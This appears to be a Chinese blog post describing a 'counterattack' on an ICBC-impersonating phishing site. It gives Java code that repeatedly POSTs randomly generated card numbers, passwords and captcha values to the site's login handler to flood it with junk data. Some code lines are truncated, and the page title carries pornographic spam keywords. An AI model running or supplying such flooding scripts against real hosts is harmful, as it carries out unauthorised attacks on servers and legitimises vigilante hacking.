压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

巧用網頁分析“反擊”釣魚網站

接觸網絡一段時間的用戶都會多多少少遇到一些釣魚網站,而作為開發者遇到的釣魚網站更是數不勝數,有時稍不留神就會被釣魚網站將自己的重要信息釣走,對于釣魚網站也是咬牙切齒,當發現釣魚網站后,總是氣憤后關閉離開,或者有些正義感的朋友會選擇舉報該網站。這一次筆者通過分析釣魚網站獲得其傳輸方法,發送垃圾數據反擊作者。

先說說今天的經歷,今天早上去了一趟科技市場,回來發現筆者兩臺不同的手機多了兩條相同的發自95588的信息,大致的內容是筆者的工行密保被凍結了,登陸wap-icbce.pw去解凍,咋看下去好像確實有點蹊蹺,登陸上去還真是有模有樣:

筆者亂輸入了一個卡號和密碼,會顯示這樣的一個界面

無論你輸入什么,他都會顯示這樣一個界面,后來筆者又去工行確認了一下,人工服務告訴筆者這確實是一個釣魚網站。筆者作為一個一身正氣的人怎么能置之不理呢?首先筆者先舉報了這個網站,發現這還沒解氣,筆者嘗試使用電腦登陸這個網站,發現這個網站為了防止電腦的防護軟件還不讓電腦來登陸了。

沒關系,使用強大的chrome筆者成功的在電腦上打開了這個網站(方法不具體說明了,詳細參閱百度百科上的chrome開啟手機網站的方法)

現在可以開始分析網站的源代碼了,該釣魚網站使用。net技術進行編寫,感覺網站除了設計方面剩下都是粗制濫造,驗證碼也是放著其實并沒有進行驗證,網站的首頁是一個識別是否是手機登陸的小圖片,如果是手機登陸點擊會使用submit字段隨便傳回一段字符,猜測在該網頁的服務器端判斷這submit字符應該僅僅使用是否為null來進行判斷。

進入這個登錄界面,能看到里邊table字段中清晰的寫著用戶名密碼以及驗證碼的name,而且獲取方式是使用post獲取,字符編碼使用gb2312,網站分析基本到此結束,現在好戲開場了,首先筆者使用java編寫一段發送數據至asp的java訪問代碼:

public static String doPost(String reqUrl, Map parameters, String recvEncoding) {

HttpURLConnection conn = null;

String responseContent = null;

try {

StringBuffer params = new StringBuffer();

for (Iterator iter = parameters.entrySet()。iterator(); iter.hasNext();) {

Entry element = (Entry) iter.next();

params.append(element.getKey()。toString());

params.append(”=”);

params.append(URLEncoder.encode(element.getValue()。toString(), recvEncoding));

params.append(”&”);

}

if (params.length() > 0) {

params = params.deleteCharAt(params.length() – 1);

}

URL url = new URL(reqUrl);

HttpURLConnection url_con = (HttpURLConnection) url.openConnection();

url_con.setRequestMethod(”POST”);

url_con.setConnectTimeout(5000);//(單位:毫秒)jdk

url_con.setDoOutput(true);

byte[] b = params.toString()。getBytes();

url_con.getOutputStream()。write(b, 0, b.length);

url_con.getOutputStream()。flush();

url_con.getOutputStream()。close();

InputStream in = url_con.getInputStream();

BufferedReader rd = new BufferedReader(new InputStreamReader(in, recvEncoding));

String tempLine = rd.readLine();

StringBuffer tempStr = new StringBuffer();

String crlf = System.getProperty(”line.separator”);

while (tempLine != null) {

tempStr.append(tempLine);

tempStr.append(crlf);

tempLine = rd.readLine();

}

responseContent = tempStr.toString();

rd.close();

in.close();

} catch (IOException e) {

e.printStackTrace();

} finally {

if (conn != null) {

conn.disconnect();

}

}

return responseContent;

}

測試沒問題后,既然要沖擊網站,先要隨機一些銀行卡用戶名和密碼。

先定義一些需要用到的參數以及要攻擊網站的action以及發送的字符編碼:

Map m = new HashMap();

String url = “http://wap-icbce.pw/add_1.asp”;

String code = “gb2312″;

首先銀行卡前綴一般是固定的,前十位不隨機生成:

String randomcarnum10=”6222022102″;

后9位就進行一個隨機生成的工作:

int randomnum;

randomnum = (int) (Math.random()*1000000000);

randomcarnum10+=randomnum;

按照大部分人的習慣,密碼都是前面幾個字母+后邊幾個數字,隨機前后字母的數量隨機生成:

int loopentime,loopnumtime;

loopentime=(int) (Math.random()*10);//隨機的英文密碼長度

loopnumtime=(int) (Math.random()*10);//隨機的中文密碼長度

String randompsw = “”;

String chars = “abcdefghijklmnopqrstuvwxyz”;

for(int i=0;i

randompsw+=chars.charAt((int)(Math.random() * 26));

for(int i=0;i

randompsw+=(int)(Math.random() * 10);

為了以防萬一,驗證碼也隨機生成提交:

String randomidcode;

randomidcode=(int)(Math.random()*10000)+””;

最后將數據直接發送到釣魚網站服務器端:

m.put(”logonCardNum”, randomcarnum);

m.put(”netType”, randompsw);

m.put(”randomId”, randomidcode);

String rus = doPost(url, m, code);

//

System.out.println(rus);

讓看看成果吧,在程序代碼的最后筆者在控制臺中輸出了釣魚網站返回的html文本內容

html

對比一下釣魚網站出現的等待跳轉界面的html文本內容,基本能確定應該是已經上傳數據成功了!寫個循環,讓程序跑個2小時

這次網站攻擊采用了簡單的網頁關鍵信息獲取方法,以及編寫簡單的java代碼,達到反擊釣魚網站的目的,寫這篇文章也是希望能夠拋磚引玉,大神輕噴,筆者有什么建議私信給筆者,筆者會很樂于接受多學習多改進。

上一篇:PHP回調后門

下一篇:基于vpn和透明代理的web漏洞掃描器的實現